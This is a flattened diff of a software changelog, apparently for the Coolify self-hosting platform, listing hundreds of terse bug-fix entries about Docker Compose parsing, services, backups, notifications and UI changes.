Bug Fixes - -- Remove unused imports - -### 💼 Other - -- Conditional on environment - -## [3.12.2] - 2022-12-19 - -### 🐛 Bug Fixes - -- Appwrite tmp volume -- Do not replace secret -- Root user for dbs on arm -- Escape secrets -- Escape env vars -- Envs -- Docker buildpack env -- Secrets with newline -- Secrets -- Add default node_env variable -- Add default node_env variable -- Secrets -- Secrets -- Gh actions -- Duplicate env variables -- Cleanupstorage - -### 💼 Other - -- Trpc -- Trpc -- Trpc -- Trpc -- Trpc -- Trpc -- Trpc -- Trpc -- Trpc -- Trpc - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.12.1] - 2022-12-13 - -### 🐛 Bug Fixes - -- Build commands -- Migration file -- Adding missing appwrite volume - -### ⚙️ Miscellaneous Tasks - -- Version++ - -## [3.12.0] - 2022-12-09 - -### 🚀 Features - -- Use registry for building -- Docker registries working -- Custom docker compose file location in repo -- Save doNotTrackData to db -- Add default sentry -- Do not track in settings -- System wide git out of beta -- Custom previewseparator -- Sentry frontend -- Able to host static/php sites on arm -- Save application data before deploying -- SimpleDockerfile deployment -- Able to push image to docker registry -- Revert to remote image -- *(api)* Name label - -### 🐛 Bug Fixes - -- 0 destinations redirect after creation -- Seed -- Sentry dsn update -- Dnt +- Clone to with the same environment name +- Cleanup stucked resources on start +- Do not allow to delete env if a resource is defined +- Service template generator + appwrite +- Mongodb backup +- Make sure coolfiy network exists on install +- Syncbunny command +- Encrypt mongodb password +- Mongodb healtcheck command +- Rate limit for api + add mariadb + mysql +- Server settings guarded +- Space in build args +- Lock SERVICE_FQDN envs +- If user is invited, that means its email is verified +- Force password reset on invited accounts +- Add ssh options to git ls-remote +- Git ls-remote +- Remove coolify labels from ui +- Missing environment variables prevewi on service +- Invoice.paid should sleep for 5 seconds +- Local dev repo +- Deployments ui +- Dockerfile build pack fix +- Set labels on generate domain +- Network service parse +- Notification url in containerstatusjob +- Gh webhook response 200 to installation_repositories +- Delete destination +- No id found +- Missing $mailMessage +- Set default from/sender names +- No environments +- Telegram text +- Private key not found error +- UI +- Resourcesdelete command +- Port number should be int +- Separate delete with validation of server +- Add nixpacks info +- Remove filter +- Container logs are now followable in full-screen and sorted by timestamp +- Ui for labels - Ui -- Only visible with publicrepo +- Deletions +- Build_image not found +- Github source view +- Github source view +- Dockercleanupjob should be released back +- Ui +- Local ip address +- Revert workdir to basedir +- Container status jobs for old pr deployments +- Service updates +- *(fider template)* Use the correct docs url +- Fqdn for minio +- Generate service fields +- Mariadb backups +- When to pull image +- Do not allow to enter local ip addresses +- Reset password +- Only report nonruntime errors +- Handle different label formats in services +- Server adding process +- Show defined resources in server tab, so you will know what you need to delete before you can delete the server. +- Lots of regarding git + docker compose deployments +- Pull request build variables +- Double default password length +- Do not remove deployment in case compose based failed +- No container servers +- Sentry issue +- Dockercompose save ./ volumes under /data/coolify +- Server view for link() +- Default value do not overwrite existing env value +- Use official install script with rancher (one will work for sure) +- Add cf tunnel to boarding server view +- Prevent autorefresh of proxy status +- Missing docker image thing +- Add hc for soketi +- Deploy the right compose file +- Bind volumes for compose bp +- Use hc port 80 in case of static build +- Switching to static build +- Container selection +- Service navbar using new realtime events +- Do not create duplicated networks +- Live event +- Service start + event +- Service deletion job +- Double ws connection +- Boarding view +- Do not send telegram noti on intent payment failed +- Database ui is realtime based +- Live mode for github webhooks +- Ui +- Realtime connection popup could be disabled +- Realtime check +- Add new destination +- Proxy logs +- Db status check +- Pusher host +- Add ipv6 +- Realtime connection?! +- Websocket +- Better handling of errors with install script +- Install script parse version +- Only allow to modify in .env file if AUTOUPDATE is set +- Is autoupdate not null +- Run init command after production seeder +- Init +- Comma in traefik custom labels +- Ignore if dynamic config could not be set +- Service env variable ovewritten if it has a default value +- Labelling +- Non-ascii chars in labels +- Labels +- Init script echos +- Update Coolify script +- Null notify +- Check queued deployments as well +- Copy invitation +- Password reset / invitation link requests +- Add catch all route +- Revert random container job delay +- Backup executions view +- Only check server status in container status job +- Improve server status check times +- Handle other types of generated values +- Server checking status +- Ui for adding new destination +- Reset domains on compose file change +- Domains for compose bp +- No action in webhooks +- Add debug output to gitlab webhooks +- Do not push dockerimage +- Add alpha to swarm +- Server not found +- Do not autovalidate server on mount +- Server update schedule +- Swarm support ui +- Server ready +- Get swarm service logs +- Docker compose apps env rewritten +- Storage error on dbs +- Why?! +- Stay tuned +- Cpu limit to float from int +- Add source commit to final envs +- Routing, switch back to old one +- Deploy instead of restart in case swarm is used +- Button title +- Restore falsely deleted coolify-db-backup +- Sub +- Wrong env variable parsing +- Deploy key + docker compose +- Horizon +- Duplicate compose variable +- Set deployment failed if new container is not healthy +- Nixpacks cache +- Only add restart policy if its empty (compose) +- Nixpacks buildpack +- File storage save +- Database env variables +- Healthy status +- Show framework based notification in build logs +- Traefik labels +- Use ip for sslip in dev if remote server is used +- Service labels without ports (unknown ports) +- Sort and rename (unique part) of labels +- Settings menu +- Remove traefik debug in dev mode +- Php pgsql to 8.2 +- Static buildpack should set port 80 +- Update navbar on build_pack change +- Do not include thegameplan.json into build image +- Submit error on postgresql +- Email verification / forgot password +- Escape build envs properly for nixpacks + docker build +- Undead endpoint +- Upload limit on ui +- Save cmd output propely (merge) +- Load profile on remote commands +- Load profile and set envs on remote cmd +- Restart should not update config hash +- Preview deployments with nixpacks +- Cleanup docker stuffs before upgrading +- Service deletion command +- Cpuset limits was determined in a way that apps only used 1 CPU max, ehh, sorry. +- Service stack view +- Change proxy view +- Checkbox click +- Git pull command for deploy key based previews +- Server status job +- Service deletion bug! +- Links +- Redis custom conf +- Sentry error +- Restrict concurrent deployments per server +- Queue +- Change env variable length +- Bitbucket manual deployments +- Webhooks for multiple apps +- Unhealthy deployments should be failed +- Add env variables for wordpress template without database +- Service deletion function +- Service deletion fix +- Dns validation + duplicated fqdns +- Validate server navbar upated +- Regenerate labels on application clone +- Service deletion +- Not able to use other shared envs +- Sentry fix +- Sentry +- Sentry error +- Sentry +- Sentry error +- Create dynamic directory +- Migrate to new modal +- Duplicate domain check +- Tags +- Wrap tags and avoid horizontal overflow +- Stripe webhooks +- Feedback from self-hosted envs to discord +- New menu on navbar +- Make sure resources are deleted in async mode +- Go to prod env from dashboard if there is no other envs defined +- User proper image_tag, if set +- New menu ui +- Lock logdrain configuration when one of them are enabled +- Add docker compose check during server validation +- Get service stack as uuid, not name +- Menu +- Flex wrap deployment previews +- Boolean docker options +- Only add 'networks' key if 'network_mode' is absent +- Cleanup scheduled tasks +- Padding left on input boxes +- Use ls / command instead ls +- Do not add the same server twice +- Only show redeployment required if status is not exited +- Add openbsd ssh server check +- Resources +- Empty build variables +- *(server)* Revalidate server button not showing in server's page +- Fluent bit ident level +- Submodule cloning +- Database status +- Permission change updates from webhook +- Server validation +- Connections being stuck and not processed until proxy restarts +- Use latest image if nothing is specified +- No coolify.yaml found +- Server validation +- Statuses +- Unknown image of service until it is uploaded +- Subscription / plan switch, etc +- Firefly service +- Force enable/disable server in case ultimate package quantity decreases +- Server disabled +- Custom dockerfile location always checked +- Import to mysql and mariadb +- Resource tab not loading if server is not reachable +- Load unmanaged async +- Do not show n/a networsk +- Service container status updates +- Public prs should not be commented +- Pull request deployments + build servers +- Env value generation +- Sentry error +- Service status updated +- Should note delete personal teams +- Make sure to show some buttons +- Sort repositories by name +- Deploy api messages +- Fqdn null in case docker compose bp +- Reload caddy issue +- /realtime endpoint +- Proxy switch +- Service ports for services + caddy +- Failed deployments should send failed email/notification +- Consider custom healthchecks in dockerfile +- Create initial files async +- Docker compose validation +- Duplicate dockerfile +- Multiline env variables +- Server stopped, service page not reachable +- Empty get logs number of lines +- Only escape envs after v239+ +- 0 in env value +- Consistent container name +- Custom ip address should turn off rolling update +- Multiline input +- Raw compose deployment +- Dashboard view if no project found +- Volumes for prs +- Shared env variable parsing +- Compose env has SERVICE, but not defined for Coolify +- Public service database +- Make sure service db proxy restarted +- Restart service db proxies +- Two factor +- Ui for tags +- Update resources view +- Realtime connection check +- Multline env in dev mode +- Scheduled backup for other service databases (supabase) +- PR deployments should not be distributed to 2 servers +- Name/from address required for resend +- Autoupdater +- Async service loads +- Disabled inputs are not trucated +- Duplicated generated fqdns are now working +- Uis +- Ui for cftunnels +- Search services +- Trial users subscription page +- Async public key loading +- Unfunctional server should see resources +- Warning if you use multiple domains for a service +- New github app creation +- Always rebuild Dockerfile / dockerimage buildpacks +- Do not rebuild dockerfile based apps twice +- Make sure if envs are changed, rebuild is needed +- Members cannot manage subscriptions +- IsMember +- Storage layout +- How to update docker-compose, environment variables and fqdns +- Git submodule update +- Unintended left padding on sidebar +- Hashed random delimeter in ssh commands + make sure to remove the delimeter from the command +- Service config hash update +- Redeploy if image not found in restart only mode +- Check each required binaries one-by-one +- Helper image only pulled if required, not every 10 mins +- Make sure that confs when checking if it is changed sorted +- Respect .env file (for default values) +- Remove temporary cloudflared config +- Remove lazy loading until bug figured out +- Rollback feature +- Base64 encode .env +- $ in labels escaped +- .env saved to deployment server, not to build server +- Do no able to delete gh app without deleting resources +- 500 error on edge case +- Able to select server when creating new destination +- N8n template +- Refresh public ips on start +- Move s3 storages to separate view +- Mongo db backup +- Backups +- Autoupdate +- Respect start period and chekc interval for hc +- Parse HEALTHCHECK from dockerfile +- Make s3 name and endpoint required +- Able to update source path for predefined volumes +- Get logs with non-root user +- Mongo 4.0 db backup +- Formbricks image origin +- Add port even if traefik is used +- Typo in tags.blade.php +- Install.sh error +- Env file +- Comment out internal notification in email_verify method +- Confirmation for custom labels +- Change permissions on newly created dirs +- Color for resource operation server and project name +- Only show realtime error on non-cloud instances +- Only allow push and mr gitlab events +- Improve scheduled task adding/removing +- Docker compose dependencies for pr previews +- Properly populating dependencies +- Use commit hash on webhooks +- Commit message length +- Hc from localhost to 127.0.0.1 +- Use rc in hc +- Telegram group chat notifications +- PR deployments have good predefined envs +- Optimize new resource creation +- Show it docker compose has syntax errors +- Wrong time during a failed deployment +- Removal of the failed deployment condition, addition of since started instead of finished time +- Use local versions + service templates and query them every 10 minutes +- Check proxy functionality before removing unnecessary coolify.yaml file and checking Docker Engine +- Show first 20 users only in admin view +- Add subpath for services +- Ghost subdir +- Do not pull templates in dev +- Templates +- Update error message for invalid token to mention invalid signature +- Disable containerStopped job for now +- Disable unreachable/revived notifications for now +- JSON_UNESCAPED_UNICODE +- Add wget to nixpacks builds +- Pre and post deployment commands +- Bitbucket commits link +- Better way to add curl/wget to nixpacks +- Root team able to download backups +- Build server should not have a proxy +- Improve build server functionalities +- Sentry issue +- Sentry +- Sentry error + livewire downgrade +- Sentry +- Sentry +- Sentry error +- Sentry +- Force load services from cdn on reload list +- Do not allow service storage mount point modifications +- Volume adding +- Sync upgrade process +- Publish horizon +- Add missing team model +- Test new upgrade process? +- Throw exception +- Build server dirs not created on main server +- Compose load with non-root user +- Able to redeploy dockerfile based apps without cache +- Compose previews does have env variables +- Fine-tune cdn pulls +- Spamming :D +- Parse docker version better +- Compose issues +- SERVICE_FQDN has source port in it +- Logto service +- Allow invitations via email +- Sort by defined order + fixed typo +- Only ignore volumes with driver_opts +- Check env in args for compose based apps +- Custom docker compose commands, add project dir if needed +- Autoupdate process +- Backup executions view +- Handle previously defined compose previews +- Sort backup executions +- Supabase service, newest versions +- Set default name for Docker volumes if it is null +- Multiline variable should be literal + should be multiline in bash with \ +- Gitlab merge request should close PR +- Multiline build args +- Setup script doesnt link to the correct source code file +- Install.sh do not reinstall packages on arch +- Just restart +- Stripprefix middleware correctly labeled to http +- Bitbucket link +- Compose generator +- Do no truncate repositories wtih domain (git) in it +- In services should edit compose file for volumes and envs +- Handle laravel deployment better +- Db proxy status shown better in the UI +- Show commit message on webhooks + prs +- Metrics parsing +- Charts +- Application custom labels reset after saving +- Static build with new nixpacks build process +- Make server charts one livewire component with one interval selector +- You can now add env variable from ui to services +- Update compose environment with UI defined variables +- Refresh deployable compose without reload +- Remove cloud stripe notifications +- App deployment should be in high queue +- Remove zoom from modals +- Get envs before sortby +- MB is % lol +- Projects with 0 envs +- Run user commands on high prio queue +- Load js locally +- Remove lemon + paddle things +- Run container commands on high priority +- Image logo +- Remove both option for api endpoints. it just makes things complicated +- Cleanup subs in cloud +- Show keydbs/dragonflies/clickhouses +- Only run cloud clean on cloud + remove root team +- Force cleanup on busy servers +- Check domain on new app via api +- Custom container name will be the container name, not just internal network name +- Api updates +- Yaml everywhere +- Add newline character to private key before saving +- Add validation for webhook endpoint selection +- Database input validators +- Remove own app from domain checks +- Return data of app update +- Do not overwrite hardcoded variables if they rely on another variable +- Remove networks when deleting a docker compose based app +- Api +- Always set project name during app deployments +- Remove volumes as well +- Gitea pr previews +- Prevent instance fqdn persisting to other servers dynamic proxy configs +- Better volume cleanups +- Cleanup parameter +- Update redirect URL in unauthenticated exception handler +- Respect top-level configs and secrets +- Service status changed event +- Disable sentinel until a few bugs are fixed +- Service domains and envs are properly updated +- *(reactive-resume)* New healthcheck command for MinIO +- *(MinIO)* New command healthcheck +- Update minio hc in services +- Add validation for missing docker compose file +- Typo in is_literal helper +- Env is_literal helper text typo +- Update docker compose pull command with --policy always +- Plane service template +- Vikunja +- Docmost template +- Drupal +- Improve github source creation +- Tag deployments +- New docker compose parsing +- Handle / in preselecting branches +- Handle custom_internal_name check in ApplicationDeploymentJob.php +- If git limit reached, ignore it and continue with a default selection +- Backup downloads +- Missing input for api endpoint +- Volume detection (dir or file) is fixed +- Supabase +- Create file storage even if content is empty +- Preview deployments should be stopped properly via gh webhook +- Deleting application should delete preview deployments +- Plane service images +- Fix issue with deployment start command in ApplicationDeploymentJob +- Directory will be created by default for compose host mounts +- Restart proxy does not work + status indicator on the UI +- Uuid in api docs type +- Raw compose deployment .env not found +- Api -> application patch endpoint +- Remove pull always when uploading backup to s3 +- Handle array env vars +- Link in task failed job notifications +- Random generated uuid will be full length (not 7 characters) +- Gitlab service +- Gitlab logo +- Bitbucket repository url +- By default volumes that we cannot determine if they are directories or files are treated as directories +- Domain update on services on the UI +- Update SERVICE_FQDN/URL env variables when you change the domain +- Several shared environment variables in one value, parsed correctly +- Members of root team should not see instance admin stuff +- Parse docker composer +- Service env parsing +- Service env variables +- Activity type invalid +- Update env on ui +- Only append docker network if service/app is running +- Remove lazy load from scheduled tasks +- Plausible template +- Service_url should not have a trailing slash +- If usagebefore cannot be determined, cleanup docker with force +- Async remote command +- Only run logdrain if necessary +- Remove network if it is only connected to coolify proxy itself +- Dir mounts should have proper dirs +- File storages (dir/file mount) handled properly +- Do not use port exposes on docker compose buildpacks +- Minecraft server template fixed +- Graceful shutdown +- Stop resources gracefully +- Handle null and empty disk usage in DockerCleanupJob +- Show latest version on manual update view +- Empty string content should be saved as a file +- Update Traefik labels on init +- Add missing middleware for server check job +- Scheduledbackup not found +- Manual update process +- Timezone not updated when systemd is missing +- If volumes + file mounts are defined, should merge them together in the compose file +- All mongo v4 backups should use the different backup command +- Database custom environment variables +- Connect compose apps to the right predefined network +- Docker compose destination network +- Server status when there are multiple servers +- Sync fqdn change on the UI +- Pr build names in case custom name is used +- Application patch request instant_deploy +- Canceling deployment on build server +- Backup of password protected postgresql database +- Docker cleanup job +- Storages with preserved git repository +- Parser parser parser +- New parser only in dev +- Parser parser +- Numberoflines should be number +- Docker cleanup job +- Fix directory and file mount headings in file-storage.blade.php +- Preview fqdn generation +- Revert a few lines +- Service ui sync bug +- Setup script doesn't work on rhel based images with some curl variant already installed +- Let's wait for healthy container during installation and wait an extra 20 seconds (for migrations) +- Infra files +- Log drain only for Applications +- Copy large compose files through scp (not ssh) +- Check if array is associative or not +- Openapi endpoint urls +- Convert environment variables to one format in shared.php +- Logical volumes could be overwritten with new path +- Env variable in value parsed +- Pull coolify image only when the app needs to be updated +- Wrong executions order +- Handle project not found error in environment_details API endpoint +- Deployment running for - without "ago" +- Update helper image pulling logic to only pull if the version is newer +- Parser +- Plunk NEXT_PUBLIC_API_URI +- Reenable overlapping servercheckjob +- Appwrite template + parser +- Don't add `networks` key if `network_mode` is used +- Remove debug statement in shared.php +- Scp through cloudflare +- Delete older versions of the helper image other than the latest one +- Update remoteProcess.php to handle null values in logItem properties +- Disable mux_enabled during server validation +- Move mc command to coolify image from helper +- Keydb. add `:` delimiter for connection string +- Cloudflare tunnel with new multiplexing feature +- Keep-alive ws connections +- Add build.sh to debug logs +- Update Coolify installer +- Terminal +- Generate https for minio +- Install script +- Handle WebSocket connection close in terminal.blade.php +- Able to open terminal to any containers +- Refactor run-command +- If you exit a container manually, it should close the underlying tty as well +- Move terminal to separate view on services +- Only update helper image in DB +- Generated fqdn for SERVICE_FQDN_APP_3000 magic envs +- Proxy status +- Coolify-db should not be in the managed resources +- Store original root key in the original location +- Logto service +- Cloudflared service - Migrations -- Prevent webhook errors to be logged -- Login error -- Remove beta from systemwide git -- Git checkout -- Remove sentry before migration -- Webhook previewseparator -- Apache on arm -- Update PR/MRs with new previewSeparator -- Static for arm -- Failed builds should not push images -- Turn off autodeploy for simpledockerfiles -- Security hole -- Rde -- Delete resource on dashboard -- Wrong port in case of docker compose -- Public db icon on dashboard -- Cleanup +- Cloudflare tunnel configuration, ui, etc +- Parser +- Exited services statuses +- Make sure to reload window if app status changes +- Deploy key based deployments +- Proxy fixes +- Proxy +- *(templates)* Filebrowser FQDN env variable +- Handle edge case when build variables and env variables are in different format +- Compose based terminal +- Filebrowser template +- Edit is_build_server_enabled upon creating application on other application type +- Save settings after assigning value +- In dev mode do not ask confirmation on delete +- Mixpost +- Handle deletion of 'hello' in confirmation modal for dev environment +- Remove autofocuses +- Ipv6 scp should use -6 flag +- Cleanup stucked applicationdeploymentqueue +- Realtime watch in development mode +- Able to select root permission easier +- Able to support more database dynamically from Coolify's UI +- Strapi template +- Bitcoin core template +- Api useBuildServer +- Service application view +- Add new supported database images +- Parse proxy config and check the set ports usage +- Update FQDN +- Scheduled backup for services view +- Parser, espacing container labels +- Reset description and subject fields after submitting feedback +- Tag mass redeployments +- Service env orders, application env orders +- Proxy conf in dev +- One-click services +- Use local service-templates in dev +- New services +- Remove not used extra host +- Chatwoot service +- Directus +- Database descriptions +- Update services +- Soketi +- Select server view +- Update mattermost image tag and add default port +- Remove env, change timezone +- Postgres healthcheck +- Azimutt template - still not working haha +- New parser with SERVICE_URL_ envs +- Improve service template readability +- Update password variables in Service model +- Scheduled database server +- Select server view +- Signup +- Application domains should be http and https only +- Validate and sanitize application domains +- Sanitize and validate application domains +- Use correct env variable for invoice ninja password +- Make sure caddy is not removed by cleanup +- Libretranslate +- Do not allow to change number of lines when streaming logs +- Plunk +- No manual timezones +- Helper push +- Format +- Add port metadata and Coolify magic to generate the domain +- Sentinel +- Metrics +- Generate sentinel url +- Only enable Sentinel for new servers +- Is_static through API +- Allow setting standalone redis variables via ENVs (team variables...) +- Check for username separately form password +- Encrypt all existing redis passwords +- Pull helper image on helper_version change +- Redis database user and password +- Able to update ipv4 / ipv6 instance settings +- Metrics for dbs +- Sentinel start fixed +- Validate sentinel custom URL when enabling sentinel +- Should be able to reset labels in read-only mode with manual click +- No sentinel for swarm yet +- Charts ui +- Volume +- Sentinel config changes restarts sentinel +- Disable sentinel for now +- Disable Sentinel temporarily +- Disable Sentinel temporarily for non-dev environments +- Access team's github apps only +- Admins should now invite owner +- Add experimental flag +- GenerateSentinelUrl method +- NumberOfLines could be null +- Login / register view +- Restart sentinel once a day +- Changing private key manually won't trigger a notification +- Grammar for helper +- Fix my own grammar +- Add telescope only in dev mode +- New way to update container statuses +- Only run server storage every 10 mins if sentinel is not active +- Cloud admin view +- Queries in kernel.php +- Lower case emails only +- Change emails to lowercase on init +- Do not error on update email +- Always authenticate with lowercase emails +- Dashboard refactor +- Add min/max length to input/texarea +- Remove livewire legacy from help view +- Remove unnecessary endpoints (magic) +- Transactional email livewire +- Destinations livewire refactor +- Refactor destination/docker view +- Logdrains validation +- Reworded +- Use Auth(), add new db proxy stop event refactor clickhouse view +- Add user/pw to db view +- Sort servers by name +- Keydb view +- Refactor tags view / remove obsolete one +- Send discord/telegram notifications on high job queue +- Server view refresh on validation +- ShowBoarding +- Show docker installation logs & ubuntu 24.10 notification +- Do not overlap servercheckjob +- Server limit check +- Server validation +- Clear route / view +- Only skip docker installation on 24.10 if its not installed +- For --gpus device support +- Db/service start should be on high queue +- Do not stop sentinel on Coolify restart +- Run resourceCheck after new serviceCheckJob +- Mongodb in dev +- Better invitation errors +- Loading indicator for db proxies +- Do not execute gh workflow on template changes +- Only use sentry in cloud +- Update packagejson of coolify-realtime + add lock file +- Update last online with old function +- Seeder should not start sentinel +- Start sentinel on seeder +- Notifications ui +- Disable wire:navigate +- Confirmation Settings css for light mode +- Server wildcard +- Saving resend api key +- Wildcard domain save +- Disable cloudflare tunnel on "localhost" +- Define separate volumes for mattermost service template +- Github app name is too long +- ServerTimezone update +- Trigger.dev db host & sslmode=disable +- Manual update should be executed only once + better UX +- Upgrade.sh +- Missing privateKey +- Show proper error message on invalid Git source +- Convert HTTP to SSH source when using deploy key on GitHub +- Cloud + stripe related +- Terminal view loading in async +- Cool 500 error (thanks hugodos) +- Update schema in code decorator +- Openapi docs +- Add tests for git url converts +- Minio / logto url generation +- Admin view +- Min docker version 26 +- Pull latest service-templates.json on init +- Workflow files for coolify build +- Autocompletes +- Timezone settings validation +- Invalid tz should not prevent other jobs to be executed +- Testing-host should be built locally +- Poll with modal issue +- Terminal opening issue +- If service img not found, use github as a source +- Fallback to local coolify.png +- Gather private ips +- Cf tunnel menu should be visible when server is not validated +- Deployment optimizations +- Init script + optimize laravel +- Default docker engine version + fix install script +- Pull helper image on init +- SPA static site default nginx conf +- Modal-input +- Modal (+ add) on dynamic config was not opening, removed x-cloak +- AUTOUPDATE + checkbox opacity +- Improve helper text for metrics input fields +- Refine helper text for metrics input fields +- If mux conn fails, still use it without mux + save priv key with better logic +- Migration +- Always validate ssh key +- Make sure important jobs/actions are running on high prio queue +- Do not send internal notification for backups and status jobs +- Validateconnection +- View issue +- Heading +- Remove mux cleanup +- Db backup for services +- Version should come from constants + fix stripe webhook error reporting +- Undefined variable +- Remove version.php as everything is coming from constants.php +- Sentry error +- Websocket connections autoreconnect +- Sentry error +- Sentry +- Empty server API response +- Incorrect server API patch response +- Missing `uuid` parameter on server API patch +- Missing `settings` property on servers API +- Move servers API `delete_unused_*` properties +- Servers API returning `port` as a string -> integer +- Only return server uuid on server update +- Service generate includes yml files as well (haha) +- ServercheckJob should run every 5 minutes on cloud +- New resource icons +- Search should be more visible on scroll on new resource +- Logdrain settings +- Ui +- Email should be retried with backoff +- Alpine in body layout +- Application view loading +- Postiz service +- Only able to select the right keys +- Test email should not be required +- A few inputs +- Api endpoint +- Resolve undefined searchInput reference in Alpine.js component +- URL and sync new app name +- Typos and naming +- Client and webhook secret disappear after sync +- Missing `mysql_password` API property +- Incorrect MongoDB init API property +- Old git versions does not have --cone implemented properly +- Don't allow editing traefik config +- Restart proxy +- Dev mode +- Ui +- Display actual values for disk space checks in installer script +- Proxy change behaviour +- Add warning color +- Import NotificationSlack correctly +- Add middleware to new abilities, better ux for selecting permissions, etc. +- Root + read:sensive could read senstive data with a middlewarew +- Always have download logs button on scheduled tasks +- Missing css +- Development image +- Dockerignore +- DB migration error +- Drop all unused smtp columns +- Backward compatibility +- Email notification channel enabled function +- Instance email settins +- Make sure resend is false if SMTP is true and vice versa +- Email Notification saving +- Slack and discord url now uses text filed because encryption makes the url very long +- Notification trait +- Encryption fixes +- Docker cleanup email template +- Add missing deployment notifications to telegram +- New docker cleanup settings are now saved to the DB correctly +- Ui + migrations +- Docker cleanup email notifications +- General notifications does not go through email channel +- Test notifications to only send it to the right channel +- Remove resale_license from db as well +- Nexus service +- Fileflows volume names +- --cone +- Provider error +- Database migration +- Seeder +- Migration call +- Slack helper +- Telegram helper +- Discord helper +- Telegram topic IDs +- Make pushover settings more clear +- Typo in pushover user key +- Use Livewire refresh method and lock properties +- Create pushover settings for existing teams +- Update token permission check from 'write' to 'root' +- Pushover +- Oauth seeder +- Correct heading display for OAuth settings in settings-oauth.blade.php +- Adjust spacing in login form for improved layout +- Services env values should be sensitive +- Documenso +- Dolibarr +- Typo +- Update OauthSettingSeeder to handle new provider definitions and ensure authentik is recreated if missing +- Improve OauthSettingSeeder to correctly delete non-existent providers and ensure proper handling of provider definitions +- Encrypt resend API key in instance settings +- Resend api key is already a text column +- Monaco editor light and dark mode switching +- Service status indicator + oauth saving +- Socialite for azure and authentik +- Saving oauth +- Fallback for copy button +- Copy the right text +- Maybe fallback is now working +- Only show copy button on secure context +- Render html on error page correctly +- Invalid API response on missing project +- Applications API response code + schema +- Applications API writing to unavailable models +- If an init script is renamed the old version is still on the server +- Oauthseeder +- Compose loading seq +- Resource clone name + volume name generation +- Update Dockerfile entrypoint path to /etc/entrypoint.d +- Debug mode +- Unreachable notifications +- Remove duplicated ServerCheckJob call +- Few fixes and use new ServerReachabilityChanged event +- Use serverStatus not just status +- Oauth seeder +- Service ui structure +- Check port 8080 and fallback to 80 +- Refactor database view +- Always use docker cleanup frequency +- Advanced server UI +- Html css +- Fix domain being override when update application +- Use nixpacks predefined build variables, but still could update the default values from Coolify +- Use local monaco-editor instead of Cloudflare +- N8n timezone +- Smtp encryption +- Bind() to 0.0.0.0:80 failed +- Oauth seeder +- Unreachable notifications +- Instance settings migration +- Only encrypt instance email settings if there are any +- Error message +- Update healthcheck and port configurations to use port 8080 +- Compose envs +- Scheduled tasks and backups are executed by server timezone. +- Show backup timezone on the UI +- Disappearing UI after livewire event received +- Add default vector db for anythingllm +- We need XSRF-TOKEN for terminal +- Prevent default link behavior for resource and settings actions in dashboard +- Increase default php memory limit +- Show if only build servers are added to your team +- Update Livewire button click method to use camelCase +- Local dropzonejs +- Import backups due to js stuff should not be navigated +- Install inetutils on Arch Linux +- Use ip in place of hostname from inetutils in arch +- Update import command to append file redirection for database restoration +- Ui bug on pw confirmation +- Exclude system and computed fields from model replication +- Service cloning on a separate server +- Application cloning +- `Undefined variable $fs_path` for databases +- Service and database cloning and label generation +- Labels and URL generation when cloning +- Clone naming for different database data volumes +- Implement all the cloneMe changes for ResourceOperations as well +- Volume and fileStorages cloning +- View text and helpers +- Teable +- Trigger with external db +- Set `EXPERIMENTAL_FEATURES` to false for labelstudio +- Monaco editor disabled state +- Edge case where executions could be null +- Create destination properly +- Getcontainer status should timeout after 30s +- Enable response for temporary unavailability in sentinel push endpoint +- Use timeout in cleanup resources +- Add timeout to sentinel process checks for improved reliability +- Horizon job checker +- Update response message for sentinel push route +- Add own servers on cloud +- Application deployment +- Service update statsu +- If $SERVICE found in the service specific configuration, then search for it in the db +- Instance wide GitHub apps are not available on other teams then the source team +- Function calls +- UI +- Deletion of single backup +- Backup job deletion - delete all backups from s3 and local +- Use new removeOldBackups function +- Retention functions and folder deletion for local backups +- Storage retention setting +- Db without s3 should still backup +- Wording +- `Undefined variable $service` when creating a new service +- Nodebb service +- Calibre-web service +- Rallly and actualbudget service +- Removed container_name +- Added healthcheck for gotenberg template +- Gotenberg +- *(template)* Gotenberg healthcheck, use /health instead of /version +- Use wire:navigate on sidebar +- Use wire:navigate on dashboard +- Use wire:navigate on projects page +- More wire:navigate +- Even more wire:navigate +- Service navigation +- Logs icons everywhere + terminal +- Redis DB should use the new resourceable columns +- Joomla service +- Add back letters to prod password requirement +- Check System and GitHub time and throw and error if it is over 50s out of sync +- Error message and server time getting +- Error rendering +- Render html correctly now +- Indent +- Potential fix for permissions update +- Expiration time claim ('exp') must be a numeric value +- Sanitize html error messages +- Production password rule and cleanup code +- Use json as it is just better than string for huge amount of logs +- Use `wire:navigate` on server sidebar +- Use finished_at for the end time instead of created_at +- Cancelled deployments should not show end and duration time +- Redirect to server index instead of show on error in Advanced and DockerCleanup components +- Disable registration after creating the root user +- RootUserSeeder +- Regex username validation +- Add spacing around echo outputs +- Success message +- Silent return if envs are empty or not set. +- Create the private key before the server in the prod seeder +- Update ProductionSeeder to check for private key instead of server's private key +- *(ui)* Missing underline for docs link in the Swarm section (#4860) +- *(service)* Change chatwoot service postgres image from `postgres:12` to `pgvector/pgvector:pg12` +- Docker image parser +- Add public key attribute to privatekey model +- Correct service update logic in Docker Compose parser +- Update CDN URL in install script to point to nightly version +- *(service)* Add healthcheck to Cloudflared service (#4859) +- Remove wire:navigate from import backups +- *(ui)* Backups link should not redirected to general +- Envs with special chars during build +- *(db)* `finished_at` timestamps are not set for existing deployments +- Load service templates on cloud +- *(email)* Transactional email sending +- *(ui)* Add missing save button for new Docker Cleanup page +- *(ui)* Show preview deployment environment variables +- *(ui)* Show error on terminal if container has no shell (bash/sh) +- *(parser)* Resource URL should only be parsed if there is one +- *(core)* Compose parsing for apps +- *(redis)* Update environment variable keys from standalone_redis_id to resourceable_id +- *(routes)* Local API docs not available on domain or IP +- *(routes)* Local API docs not available on domain or IP +- *(core)* Update application_id references to resourable_id and resourable_type for Nixpacks configuration +- *(core)* Correct spelling of 'resourable' to 'resourceable' in Nixpacks configuration for ApplicationDeploymentJob +- *(ui)* Traefik dashboard url not working +- *(ui)* Proxy status badge flashing during navigation +- *(core)* Update environment variable generation logic in ApplicationDeploymentJob to handle different build packs +- *(env)* Shared variables can not be updated +- *(ui)* Metrics stuck in loading state +- *(ui)* Use `wire:navigate` to navigate to the server settings page +- *(service)* Plunk API & health check endpoint (#4925) +- *(service)* Infinite loading and lag with invoiceninja service (#4876) +- *(service)* Invoiceninja service +- *(workflows)* `Waiting for changes` label should also be considered and improved messages +- *(workflows)* Remove tags only if the PR has been merged into the main branch +- *(terminal)* Terminal shows that it is not available, even though it is +- *(labels)* Docker labels do not generated correctly +- *(helper)* Downgrade Nixpacks to v1.29.0 +- *(labels)* Generate labels when they are empty not when they are already generated +- *(storage)* Hetzner storage buckets not working +- 